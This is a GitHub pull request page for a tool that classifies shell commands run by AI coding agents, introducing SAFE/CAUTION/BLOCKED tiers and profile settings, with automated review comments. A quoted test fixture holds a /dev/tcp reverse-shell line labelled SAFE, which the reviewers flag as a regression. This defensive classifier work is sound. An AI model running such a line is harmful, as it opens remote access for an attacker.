feat: tiered architecture - #13
Merged
Merged
Conversation
This comment has been minimized.
This comment has been minimized.
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
WalkthroughReclassified many rules from APPROVAL to CAUTION (some to BLOCKED), introduced profile-aware decision resolution (structural vs effective), added profile config and CLI flows, extended event schema with structural decision and profile, added judge readiness probing, and updated adapters, runner, hooks, policies, fixtures, tests, and docs accordingly. Changes
Comment |
Review Summary by QodoImplement tiered decision architecture with profile-based configuration system
WalkthroughsDescriptionImplements a comprehensive tiered decision architecture that restructures how commands are classified and enforced: **Core Architecture Changes:** • Introduces three-tier decision system: SAFE (default for unknown commands), CAUTION (risky but acceptable), and BLOCKED (dangerous) • Downgrades 60+ destructive builtin rules from APPROVAL to CAUTION (git reset, aws terminate, terraform destroy, kubectl delete, etc.) • Downgrades 20+ security-related rules to CAUTION and 4 critical rules to BLOCKED (DNS exfiltration, reverse shells, cron writes) • Changes unknown command fallback from CAUTION to SAFE **Profile-Based Configuration System:** • Adds profile management with three presets: Relaxed, Balanced, and Strict • Implements profile and profile set CLI commands for profile management • Adds interactive profile selection during installation with judge provider validation • Includes profile migration notice system for legacy configurations **Decision Tracking Enhancement:** • Introduces StructuralDecision (policy-level classification) vs EffectiveDecision (profile-modified decision) distinction • Implements profile-level CAUTION fallback behavior with judge review awareness • Extends event schema with StructuralDecision and Profile fields • Adds database schema migration (v6 to v7) for new columns **Diagnostic Improvements:** • Adds doctor checks for current profile reporting and judge availability validation • Warns when balanced/strict profiles lack judge provider **Test Coverage:** • Updates 40+ test cases across classification, inspection, and integration tests • Adds comprehensive tests for profile commands, config loading, effective decision calculation, and migration notice system • Rebalances fixture coverage expectations for new tiered architecture Diagramflowchart LR
A["Unknown Commands"] -->|"fallback"| B["SAFE"]
C["Risky Operations"] -->|"downgrade"| D["CAUTION"]
E["Dangerous Actions"] -->|"enforce"| F["BLOCKED"]
D -->|"with judge review"| G["EffectiveDecision"]
H["Profile Config"] -->|"Relaxed/Balanced/Strict"| I["Decision Tier Mapping"]
I -->|"apply fallback"| G
J["StructuralDecision"] -->|"vs"| G
K["Event Schema"] -->|"track both"| J
K -->|"and"| G
File Changes1. internal/policy/builtins_core.go
|
Code Review by Qodo
1. config.ConfigPath() not XDG
|
Codecov Report❌ Patch coverage is Additional details and impacted files@@ Coverage Diff @@
## main #13 +/- ##
==========================================
+ Coverage 71.39% 72.13% +0.73%
==========================================
Files 74 79 +5
Lines 8727 9330 +603
==========================================
+ Hits 6231 6730 +499
- Misses 2000 2039 +39
- Partials 496 561 +65 ☔ View full report in Codecov by Sentry. 🚀 New features to boost your workflow:
|
![gemini-code-assist[bot]](https://avatars.githubusercontent.com/in/956858?s=60&v=4){kind=small}
There was a problem hiding this comment.
Code Review
This pull request introduces a profile-based configuration system and refines command classification by migrating many built-in rules from APPROVAL to CAUTION to facilitate LLM judge triage. It adds a new profile CLI command, enhances event logging with structural and effective decisions, and implements a migration notice for legacy configurations. Feedback highlights a security regression where unknown commands default to SAFE instead of CAUTION, and a logic error in the effective decision handler where judge errors could bypass user-specified approval fallbacks.
![qodo-code-review[bot]](https://avatars.githubusercontent.com/in/484649?s=60&v=4){kind=small}
![kody-ai[bot]](https://avatars.githubusercontent.com/in/413034?s=60&v=4){kind=small}
There was a problem hiding this comment.
Found critical issues please review the requested changes
- Test asserts that a destructive database operation can proceed without approval in non-interactive mode, a significant security regression.
- Destructive tool operations are misclassified as 'Caution' instead of 'Approval', bypassing security checks.
- Early return on shell expansion check bypasses more severe blocklist validations.
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 5
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
internal/db/schema.go (1)
106-118:⚠️ Potential issue | 🟡 MinorInconsistent default values between fresh install and migration.
In
applyV1, the new columnsstructural_decisionandprofileare defined withoutDEFAULT, meaning they will default toNULLfor fresh installs. However, inapplyV7(lines 235-236), the same columns are added withDEFAULT ''. This creates an inconsistency where:
- Fresh installs: columns default to
NULL- Upgraded databases: columns default to empty string
''This could cause subtle bugs if code checks
== ""vsIS NULL.🔧 Proposed fix to align defaults
`CREATE TABLE IF NOT EXISTS events ( id INTEGER PRIMARY KEY AUTOINCREMENT, timestamp TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%fZ','now')), session_id TEXT, command TEXT, decision TEXT, - structural_decision TEXT, - profile TEXT, + structural_decision TEXT DEFAULT '', + profile TEXT DEFAULT '', rule_id TEXT, reason TEXT, duration_ms INTEGER, metadata TEXT )`,🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/db/schema.go` around lines 106 - 118, The CREATE TABLE in applyV1 defines events.columns structural_decision and profile without defaults (NULL) while applyV7 adds them with DEFAULT '', causing inconsistent behavior; update the CREATE TABLE statement used in applyV1 (the events table definition) to set structural_decision TEXT DEFAULT '' and profile TEXT DEFAULT '' so fresh installs match upgraded DBs (or alternatively remove DEFAULT '' in applyV7 if you prefer NULLs)—ensure you change the declaration that contains the events schema in schema.go (the CREATE TABLE IF NOT EXISTS events block) to align defaults across applyV1 and applyV7.internal/adapters/hook.go (1)
409-428:⚠️ Potential issue | 🟡 MinorStructuralDecision inconsistency in handleApproval path.
In
handleApproval, the event records created at lines 411–416 and 420–425 rely onapplyVerdictto populateStructuralDecisionfromverdict.OriginalDecision. This conditional population differs from other code paths (lines 306, 315, 323, 328) that always populateStructuralDecisionvia explicitlogHookEventWithVerdictcalls.When
verdictisnil(e.g., whenresult.TagOverrideEnforcedis true) or whenverdict.OriginalDecisionis empty,StructuralDecisionremains unpopulated inhandleApprovalevents, whereas it is consistently set in all other decision paths. Consider passingstructuralDecisionfromRunHooktohandleApprovalto ensure uniform event schema population.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/adapters/hook.go` around lines 409 - 428, The handleApproval path creates EventRecord objects and relies on applyVerdict to set StructuralDecision from verdict.OriginalDecision, which leaves StructuralDecision unset when verdict is nil or OriginalDecision is empty; make this consistent with other paths by passing a concrete structuralDecision into handleApproval from RunHook (or compute it before creating the EventRecord) and set EventRecord.StructuralDecision explicitly (same approach as logHookEventWithVerdict) instead of depending solely on applyVerdict; update handleApproval, its call sites in RunHook, and any uses of applyVerdict/logHookEventWithVerdict to ensure StructuralDecision is always populated even when verdict is nil or TagOverrideEnforced is true.
🧹 Nitpick comments (10)
internal/core/inspect_test.go (1)
424-433: Test function name is now misleading.The function is named
TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsApprovalbut the expectation was changed toDecisionCaution. Consider renaming toTestInferDecisionFromSignals_CloudSDKPlusDestructiveIsCautionfor clarity.✏️ Suggested rename
-func TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsApproval(t *testing.T) { +func TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsCaution(t *testing.T) { signals := []inspect.Signal{ {Category: "cloud_sdk", Pattern: "boto3", Line: 1, Match: "import boto3"}, {Category: "destructive_fs", Pattern: "rm -rf", Line: 2, Match: "rm -rf /tmp"}, } got := inferDecisionFromSignals(signals) if got != DecisionCaution { t.Errorf("expected CAUTION for cloud_sdk + destructive_fs, got %s", got) } }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/core/inspect_test.go` around lines 424 - 433, Rename the misleading test function TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsApproval to reflect the expected outcome (DecisionCaution); update the function name to TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsCaution (or similar) so it matches the assertion that inferDecisionFromSignals returns DecisionCaution for the signals combination.internal/cli/doctor.go (1)
333-346: Consider extracting config+profile resolution to reduce duplication.Both
checkCurrentProfileandcheckJudgeAvailabilityindependently load config and resolve the profile with identical logic. A small helper could reduce duplication.♻️ Optional: Extract profile resolution helper
// resolveProfile loads config and returns the active profile, defaulting to relaxed. func resolveProfile() (profile string, cfg *config.Config, err error) { cfg, err = config.LoadConfig(config.ConfigPath()) if err != nil { return "", nil, err } profile = strings.TrimSpace(cfg.Profile) if profile == "" { profile = config.ProfileRelaxed } return profile, cfg, nil }This could then be used by both check functions.
Also applies to: 358-371
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/cli/doctor.go` around lines 333 - 346, Both checkCurrentProfile and checkJudgeAvailability duplicate config loading and profile resolution logic; extract that into a helper like resolveProfile that calls config.LoadConfig(config.ConfigPath()), trims cfg.Profile, defaults to config.ProfileRelaxed when empty, and returns (profile, cfg, err); then replace the duplicate blocks in checkCurrentProfile and checkJudgeAvailability to call resolveProfile and handle the returned error/status accordingly.internal/cli/migration_notice_test.go (1)
22-25: Consider isolating rootCmd state between test runs.The tests use
rootCmd.SetArgswith a deferred reset, but running multiplerootCmd.Execute()calls in the same test (lines 22-41) may accumulate side effects from Cobra's internal state.This pattern generally works but could be fragile if Cobra's persistent flags or other state isn't fully reset between executions. Consider using
t.Runsubtests or verifyingrootCmdstate is clean between executions.Also applies to: 37-40, 65-68
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/cli/migration_notice_test.go` around lines 22 - 25, Tests call rootCmd.SetArgs and rootCmd.Execute multiple times which can leak Cobra state between runs; instead either run each execution in its own t.Run subtest or instantiate a fresh command for each invocation (e.g., replace direct use of global rootCmd in captureCLIOutput with a newRootCmd()/factory that returns a fresh *cobra.Command) and avoid relying only on deferred rootCmd.SetArgs(nil); ensure persistent flags/state are reset between invocations so each captureCLIOutput call uses an independent command instance.internal/cli/doctor_test.go (1)
610-618: Platform-specific stub executable creation.The
mustWriteExecutablehelper writes a Unix shell script (#!/bin/sh). This may cause issues on Windows where shell scripts aren't directly executable.♻️ Consider platform-aware executable stubs
func mustWriteExecutable(t *testing.T, dir, name string) string { t.Helper() path := filepath.Join(dir, name) + if runtime.GOOS == "windows" { + path += ".exe" + // Windows: create a minimal valid PE or use a .bat file + if err := os.WriteFile(path, []byte("@echo off\nexit /b 0\n"), 0o755); err != nil { + t.Fatalf("write executable %s: %v", path, err) + } + return path + } if err := os.WriteFile(path, []byte("#!/bin/sh\nexit 0\n"), 0o755); err != nil { t.Fatalf("write executable %s: %v", path, err) } return path }Note: The tests calling this helper may already be skipped on Windows elsewhere, but having platform-aware stubs would improve robustness.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/cli/doctor_test.go` around lines 610 - 618, The helper mustWriteExecutable creates a Unix shell script which fails on Windows; update mustWriteExecutable to be platform-aware by checking runtime.GOOS and writing an appropriate stub: on Windows append ".bat" (or use the provided name with .bat) and write a Windows batch stub like "exit /b 0", while on non-Windows keep the "#!/bin/sh\nexit 0\n" content; ensure you import runtime, adjust the returned path to include the extension on Windows, and set file permissions (os.Chmod or 0o755) on non-Windows so the file is executable.internal/cli/config_scaffold.go (1)
29-29: Consider stricter file permissions for config file.The config file is created with
0o644(world-readable). While the scaffold itself contains no secrets, users may later add sensitive settings (e.g., API keys for LLM judge providers). Consider using0o600to prevent other users on shared systems from reading the config.Proposed change
- if err := os.WriteFile(path, []byte(profileAwareConfigScaffold(profile)), 0o644); err != nil { + if err := os.WriteFile(path, []byte(profileAwareConfigScaffold(profile)), 0o600); err != nil {🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/cli/config_scaffold.go` at line 29, The config scaffold is written with world-readable permissions using os.WriteFile(path, ..., 0o644); update the file mode to be owner-readable/write-only (0o600) to reduce risk of exposing secrets users may add later—locate the os.WriteFile call that writes profileAwareConfigScaffold(profile) and change its permission argument from 0o644 to 0o600 so the created config is only readable/writable by the owner.internal/cli/profile_test.go (1)
163-169: Consider testing profile subcommand help as well.The test verifies
profileappears in root help, but doesn't verify the subcommand structure (profile set <name>). This could catch registration issues.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/cli/profile_test.go` around lines 163 - 169, Extend TestProfileHelpEntryExists to also verify the profile subcommand help: call captureHelp(t, "profile", "--help") (or captureHelp(t, "profile", "set", "--help")) and assert the output contains the expected usage text such as "set <name>" (or "profile set <name>") so the test fails if the profile subcommand or its "set" usage isn't registered; update references in the test near the existing captureHelp usage in TestProfileHelpEntryExists to add this new assertion.internal/cli/install_profile.go (1)
84-93: Consider usingcmd.ErrOrStderr()for testability.
warnIfJudgeProviderUnavailablewrites directly toos.Stderr, which makes it harder to capture and verify warnings in tests. Consider passing the error writer as a parameter or accepting a*cobra.Commandto usecmd.ErrOrStderr()for consistency with the rest of the CLI.♻️ Suggested refactor
-func warnIfJudgeProviderUnavailable(profile string) { +func warnIfJudgeProviderUnavailable(w io.Writer, profile string) { switch profile { case config.ProfileBalanced, config.ProfileStrict: default: return } if _, err := judge.DetectProvider("", ""); err != nil { - fmt.Fprintf(os.Stderr, "warning: %s profile selected but no judge provider found on PATH; install claude or codex to use judge mode.\n", profile) + fmt.Fprintf(w, "warning: %s profile selected but no judge provider found on PATH; install claude or codex to use judge mode.\n", profile) } }Then call it as
warnIfJudgeProviderUnavailable(cmd.ErrOrStderr(), profile).🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/cli/install_profile.go` around lines 84 - 93, warnIfJudgeProviderUnavailable currently writes directly to os.Stderr which makes tests brittle; change its signature to accept an io.Writer (e.g., func warnIfJudgeProviderUnavailable(w io.Writer, profile string)) and replace the hard-coded os.Stderr write with writes to that writer, then update all call sites (e.g., where CLI commands invoke warnIfJudgeProviderUnavailable) to pass cmd.ErrOrStderr() from the cobra command; keep the same behavior and message text and preserve the call to judge.DetectProvider("", "") inside the function.internal/cli/profile.go (2)
97-108: Intentional exclusion ofcustomfromprofile setcommand.
normalizeProfileSelectiononly allowsrelaxed,balanced, orstrict- excludingcustom. This appears intentional sincecustomwould require manual YAML editing for the specific customizations. Consider adding a brief comment or updating the error message to clarify this is by design.💡 Optional: clarify custom profile handling
func normalizeProfileSelection(profile string) (string, error) { switch strings.ToLower(strings.TrimSpace(profile)) { case config.ProfileRelaxed: return config.ProfileRelaxed, nil case config.ProfileBalanced: return config.ProfileBalanced, nil case config.ProfileStrict: return config.ProfileStrict, nil default: - return "", fmt.Errorf("invalid profile %q (supported: relaxed, balanced, strict)", profile) + // custom profile requires manual YAML configuration + return "", fmt.Errorf("invalid profile %q (supported: relaxed, balanced, strict; use 'custom' by editing config.yaml directly)", profile) } }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/cli/profile.go` around lines 97 - 108, The function normalizeProfileSelection currently accepts only config.ProfileRelaxed, config.ProfileBalanced, and config.ProfileStrict (returning an error for any other value) which intentionally excludes "custom"; update the code to make this intent explicit by either adding a short comment above normalizeProfileSelection stating that "custom" is intentionally unsupported and must be configured via YAML, or alter the error text in the default case to read something like "invalid profile %q (supported: relaxed, balanced, strict; 'custom' is intentionally unsupported and must be configured via YAML)"; reference normalizeProfileSelection and the config.ProfileRelaxed/ Balanced/ Strict symbols when making the change.
75-78: Unused return value fromLoadConfig- consider using_explicitly.The
cfgvalue fromLoadConfigis not used; only the error is checked. While this is valid as a config validation step, using_explicitly would make the intent clearer.♻️ Minor clarity improvement
- if _, loadErr := config.LoadConfig(cfgPath); loadErr != nil { + if _, loadErr := config.LoadConfig(cfgPath); loadErr != nil { return loadErr }Actually, this is already using
_. The pattern is fine - this validates the config is parseable before modification.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/cli/profile.go` around lines 75 - 78, The call to config.LoadConfig(cfgPath) returns a config and an error but the config is unused; update the if-statement to explicitly discard the config with an underscore (e.g., if _, err := config.LoadConfig(cfgPath); err != nil { return err }) and/or add a brief comment above the call clarifying this is only a validation step (referencing cfgPath and config.LoadConfig).internal/config/config.go (1)
131-157: Consider consolidating YAML unmarshaling to reduce parsing overhead.
LoadConfigunmarshals the YAML data three times:
- Line 132: into
overlay- Line 138: into
rawmap- Line 152: into
cfg(profile-seeded)While functionally correct, this could be simplified. The raw map parse is needed for profile resolution, but the overlay parse might be avoidable if
resolveProfileextractedllm_judge.modefrom the raw map instead.♻️ Potential simplification
func LoadConfig(path string) (*Config, error) { data, err := os.ReadFile(path) if err != nil { if os.IsNotExist(err) { return DefaultConfig(), nil } return nil, err } - var overlay Config - err = yaml.Unmarshal(data, &overlay) - if err != nil { - return nil, err - } var raw map[string]interface{} err = yaml.Unmarshal(data, &raw) if err != nil { return nil, err } - profile, err := resolveProfile(raw, &overlay) + profile, err := resolveProfile(raw) if err != nil { return nil, err }Then update
resolveProfileto extractllm_judge.modefrom the raw map.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@internal/config/config.go` around lines 131 - 157, LoadConfig currently unmarshals the same YAML three times (into overlay, raw, and cfg); reduce overhead by removing the intermediate overlay unmarshal and instead have resolveProfile accept the already-parsed raw map to extract llm_judge.mode (or any other fields) directly, then call ProfileDefaults(profile) and unmarshal data once into the resulting cfg before validateCautionFallback; update function references: remove usage of overlay in LoadConfig, change resolveProfile signature to accept map[string]interface{} (and extract llm_judge.mode there), keep validateCautionFallback(raw) and the final yaml.Unmarshal into cfg as-is.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@internal/cli/install_test.go`:
- Around line 182-210: In
TestInstallClaudePromptsForBalancedProfileAndWarnsWhenNoProvider, fix the two
t.Fatalf format strings that currently use escaped backslashes ("\\n") so they
emit real newlines; update the calls in that test (the t.Fatalf that reports
stdout and the t.Fatalf that reports stderr) to use "\n" instead of "\\n" so the
output appears on a new line when the assertion fails.
- Around line 212-236: The error messages in
TestInstallCodexDefaultsToRelaxedProfileWhenInputIsEmpty contain escaped
newlines (`\\n`) instead of actual newlines; update the two t.Fatalf calls in
that test (the one checking stdout and the one checking stderr) to use a real
newline escape (`\n`) in the format string so the output prints on a new line
(refer to TestInstallCodexDefaultsToRelaxedProfileWhenInputIsEmpty and the
t.Fatalf calls that include "expected relaxed selection output" and "expected no
stderr for relaxed default").
In `@internal/core/classify.go`:
- Around line 697-698: The fallback return currently sets
commandClassificationResult{decision: DecisionSafe, reason: "unknown command (no
matching rule)", dryRunMatches: dryRunMatches}; change it so unknown/unmatched
command fallthrough returns a CAUTION decision instead (use DecisionCaution) and
update the reason text accordingly (e.g., "unknown command (no matching rule) -
fallback to CAUTION") while preserving dryRunMatches; modify the return in
classify.go where commandClassificationResult is constructed to reference
DecisionCaution instead of DecisionSafe.
In `@internal/judge/prompt.go`:
- Line 30: Update the judge prompt text in internal/judge/prompt.go so it
describes risk categories (e.g., SAFE, CAUTION, DANGEROUS) and how the model
should assess content risk, without mentioning enforcement actions,
auto-approval, or any specific profile behavior; find the prompt string (e.g.,
the judgePrompt or prompt constant) and replace lines like "CAUTION: suspicious
but usually acceptable; auto-approved unless you escalate it" with neutral
risk-focused wording that allows the judge to move classifications up or down
(e.g., explain what CAUTION indicates about potential risk and uncertainty, and
that APPROVAL/SAFE/DANGEROUS are independent risk labels), ensuring no language
ties outputs to a relaxed-profile enforcement policy.
In `@testdata/fixtures/commands.yaml`:
- Around line 511-516: The test vector for "bash -i >& /dev/tcp/10.0.0.1/4444
0>&1" is incorrectly marked SAFE; add a hardcoded detection for /dev/tcp-style
TCP redirections in the command classifier (e.g., the function that evaluates
unknown-command fallbacks like classifyCommand / Classify) so that any command
string matching a regex like /\/dev\/tcp/ or "reverse shell" patterns is flagged
as CAUTION (or higher), and update the fixture entry for the exact command
string "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" to expected: "CAUTION" (and
adjust the description to remove "unknown-command fallback remains SAFE").
---
Outside diff comments:
In `@internal/adapters/hook.go`:
- Around line 409-428: The handleApproval path creates EventRecord objects and
relies on applyVerdict to set StructuralDecision from verdict.OriginalDecision,
which leaves StructuralDecision unset when verdict is nil or OriginalDecision is
empty; make this consistent with other paths by passing a concrete
structuralDecision into handleApproval from RunHook (or compute it before
creating the EventRecord) and set EventRecord.StructuralDecision explicitly
(same approach as logHookEventWithVerdict) instead of depending solely on
applyVerdict; update handleApproval, its call sites in RunHook, and any uses of
applyVerdict/logHookEventWithVerdict to ensure StructuralDecision is always
populated even when verdict is nil or TagOverrideEnforced is true.
In `@internal/db/schema.go`:
- Around line 106-118: The CREATE TABLE in applyV1 defines events.columns
structural_decision and profile without defaults (NULL) while applyV7 adds them
with DEFAULT '', causing inconsistent behavior; update the CREATE TABLE
statement used in applyV1 (the events table definition) to set
structural_decision TEXT DEFAULT '' and profile TEXT DEFAULT '' so fresh
installs match upgraded DBs (or alternatively remove DEFAULT '' in applyV7 if
you prefer NULLs)—ensure you change the declaration that contains the events
schema in schema.go (the CREATE TABLE IF NOT EXISTS events block) to align
defaults across applyV1 and applyV7.
---
Nitpick comments:
In `@internal/cli/config_scaffold.go`:
- Line 29: The config scaffold is written with world-readable permissions using
os.WriteFile(path, ..., 0o644); update the file mode to be
owner-readable/write-only (0o600) to reduce risk of exposing secrets users may
add later—locate the os.WriteFile call that writes
profileAwareConfigScaffold(profile) and change its permission argument from
0o644 to 0o600 so the created config is only readable/writable by the owner.
In `@internal/cli/doctor_test.go`:
- Around line 610-618: The helper mustWriteExecutable creates a Unix shell
script which fails on Windows; update mustWriteExecutable to be platform-aware
by checking runtime.GOOS and writing an appropriate stub: on Windows append
".bat" (or use the provided name with .bat) and write a Windows batch stub like
"exit /b 0", while on non-Windows keep the "#!/bin/sh\nexit 0\n" content; ensure
you import runtime, adjust the returned path to include the extension on
Windows, and set file permissions (os.Chmod or 0o755) on non-Windows so the file
is executable.
In `@internal/cli/doctor.go`:
- Around line 333-346: Both checkCurrentProfile and checkJudgeAvailability
duplicate config loading and profile resolution logic; extract that into a
helper like resolveProfile that calls config.LoadConfig(config.ConfigPath()),
trims cfg.Profile, defaults to config.ProfileRelaxed when empty, and returns
(profile, cfg, err); then replace the duplicate blocks in checkCurrentProfile
and checkJudgeAvailability to call resolveProfile and handle the returned
error/status accordingly.
In `@internal/cli/install_profile.go`:
- Around line 84-93: warnIfJudgeProviderUnavailable currently writes directly to
os.Stderr which makes tests brittle; change its signature to accept an io.Writer
(e.g., func warnIfJudgeProviderUnavailable(w io.Writer, profile string)) and
replace the hard-coded os.Stderr write with writes to that writer, then update
all call sites (e.g., where CLI commands invoke warnIfJudgeProviderUnavailable)
to pass cmd.ErrOrStderr() from the cobra command; keep the same behavior and
message text and preserve the call to judge.DetectProvider("", "") inside the
function.
In `@internal/cli/migration_notice_test.go`:
- Around line 22-25: Tests call rootCmd.SetArgs and rootCmd.Execute multiple
times which can leak Cobra state between runs; instead either run each execution
in its own t.Run subtest or instantiate a fresh command for each invocation
(e.g., replace direct use of global rootCmd in captureCLIOutput with a
newRootCmd()/factory that returns a fresh *cobra.Command) and avoid relying only
on deferred rootCmd.SetArgs(nil); ensure persistent flags/state are reset
between invocations so each captureCLIOutput call uses an independent command
instance.
In `@internal/cli/profile_test.go`:
- Around line 163-169: Extend TestProfileHelpEntryExists to also verify the
profile subcommand help: call captureHelp(t, "profile", "--help") (or
captureHelp(t, "profile", "set", "--help")) and assert the output contains the
expected usage text such as "set <name>" (or "profile set <name>") so the test
fails if the profile subcommand or its "set" usage isn't registered; update
references in the test near the existing captureHelp usage in
TestProfileHelpEntryExists to add this new assertion.
In `@internal/cli/profile.go`:
- Around line 97-108: The function normalizeProfileSelection currently accepts
only config.ProfileRelaxed, config.ProfileBalanced, and config.ProfileStrict
(returning an error for any other value) which intentionally excludes "custom";
update the code to make this intent explicit by either adding a short comment
above normalizeProfileSelection stating that "custom" is intentionally
unsupported and must be configured via YAML, or alter the error text in the
default case to read something like "invalid profile %q (supported: relaxed,
balanced, strict; 'custom' is intentionally unsupported and must be configured
via YAML)"; reference normalizeProfileSelection and the config.ProfileRelaxed/
Balanced/ Strict symbols when making the change.
- Around line 75-78: The call to config.LoadConfig(cfgPath) returns a config and
an error but the config is unused; update the if-statement to explicitly discard
the config with an underscore (e.g., if _, err := config.LoadConfig(cfgPath);
err != nil { return err }) and/or add a brief comment above the call clarifying
this is only a validation step (referencing cfgPath and config.LoadConfig).
In `@internal/config/config.go`:
- Around line 131-157: LoadConfig currently unmarshals the same YAML three times
(into overlay, raw, and cfg); reduce overhead by removing the intermediate
overlay unmarshal and instead have resolveProfile accept the already-parsed raw
map to extract llm_judge.mode (or any other fields) directly, then call
ProfileDefaults(profile) and unmarshal data once into the resulting cfg before
validateCautionFallback; update function references: remove usage of overlay in
LoadConfig, change resolveProfile signature to accept map[string]interface{}
(and extract llm_judge.mode there), keep validateCautionFallback(raw) and the
final yaml.Unmarshal into cfg as-is.
In `@internal/core/inspect_test.go`:
- Around line 424-433: Rename the misleading test function
TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsApproval to reflect the
expected outcome (DecisionCaution); update the function name to
TestInferDecisionFromSignals_CloudSDKPlusDestructiveIsCaution (or similar) so it
matches the assertion that inferDecisionFromSignals returns DecisionCaution for
the signals combination.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: 27116b03-77b4-4016-9b7f-4999b7ed767c
📒 Files selected for processing (38)
integration_test.gointernal/adapters/codexshell.gointernal/adapters/effective_decision.gointernal/adapters/effective_decision_test.gointernal/adapters/hook.gointernal/adapters/hook_test.gointernal/adapters/runner.gointernal/cli/config_scaffold.gointernal/cli/doctor.gointernal/cli/doctor_test.gointernal/cli/help.gointernal/cli/help_test.gointernal/cli/install.gointernal/cli/install_profile.gointernal/cli/install_test.gointernal/cli/migration_notice.gointernal/cli/migration_notice_test.gointernal/cli/profile.gointernal/cli/profile_test.gointernal/cli/root.gointernal/config/config.gointernal/config/config_test.gointernal/core/classify.gointernal/core/classify_test.gointernal/core/classify_winshell_test.gointernal/core/fixture_coverage_test.gointernal/core/inspect.gointernal/core/inspect_test.gointernal/core/mcpclassify.gointernal/core/mcpclassify_test.gointernal/core/urlinspect.gointernal/core/urlinspect_test.gointernal/db/events.gointernal/db/schema.gointernal/judge/prompt.gointernal/policy/builtins_core.gointernal/policy/builtins_security.gotestdata/fixtures/commands.yaml
There was a problem hiding this comment.
Actionable comments posted: 1
♻️ Duplicate comments (1)
testdata/fixtures/commands.yaml (1)
511-513:⚠️ Potential issue | 🟠 MajorSecurity regression: bash reverse shell must not be classified as SAFE.
This test fixture change codifies a security gap. The command
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1is a classic reverse shell technique that establishes an interactive shell connection to a remote attacker. Classifying it asSAFEmeans the classifier fails to detect this dangerous pattern.The description "unknown-command fallback remains SAFE" confirms the classifier doesn't recognize this, but that's the bug—not a valid test expectation. A hardcoded detection rule for
/dev/tcpredirections should be added to the classifier.Suggested fix
- command: "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" - expected: "SAFE" - description: "bash reverse shell via /dev/tcp — unknown-command fallback remains SAFE" + expected: "CAUTION" + description: "bash reverse shell via /dev/tcp — pattern must be detected as a risk"
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@internal/adapters/profile_behavior_integration_test.go`:
- Around line 171-173: TestProfileBehavior_RunHook_CautionCommand calls
setFakeJudgePathForBehaviorTest which creates a Unix shell script, so add the
same Windows guard used elsewhere: at the start of
TestProfileBehavior_RunHook_CautionCommand check runtime.GOOS == "windows" and
t.Skip("skipping on windows") to avoid running on Windows; locate the test
function TestProfileBehavior_RunHook_CautionCommand and insert the skip before
calling setFakeJudgePathForBehaviorTest (using the runtime.GOOS check) so the
test is bypassed on Windows.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: b8680958-d6ce-4b3e-b80a-5b965ecd230f
📒 Files selected for processing (6)
README.mddocs/README.mddocs/profiles.mdinternal/adapters/hook.gointernal/adapters/profile_behavior_integration_test.gotestdata/fixtures/commands.yaml
✅ Files skipped from review due to trivial changes (4)
- docs/README.md
- README.md
- docs/profiles.md
- internal/adapters/hook.go
This comment has been minimized.
This comment has been minimized.
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@internal/judge/provider.go`:
- Around line 137-143: probeProviderAuth mislabels the Codex auth file and can
falsely report readiness when codexAuthPath() returns a temp fallback or when a
directory passes the Size() check; update the check logic in probeProviderAuth
to (1) call codexAuthPath() and if it returns a path that is the temp fallback
treat it as not present (do not report configured), (2) map the actual checked
path to an accurate source label (e.g. use "~/.codex/auth.json" when the path
equals the user's homedir .codex path, and use "CODEX_HOME/auth.json" only when
coming from CODEX_HOME), and (3) when using os.Stat on the returned path ensure
the entry is a regular file by verifying !info.IsDir() and info.Size() > 0
before returning configured=true; apply the same fixes to the other occurrence
mentioned (lines 162-170) referencing probeProviderAuth and codexAuthPath.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: 2b48e741-51b2-417e-bb1a-f273456499d2
📒 Files selected for processing (56)
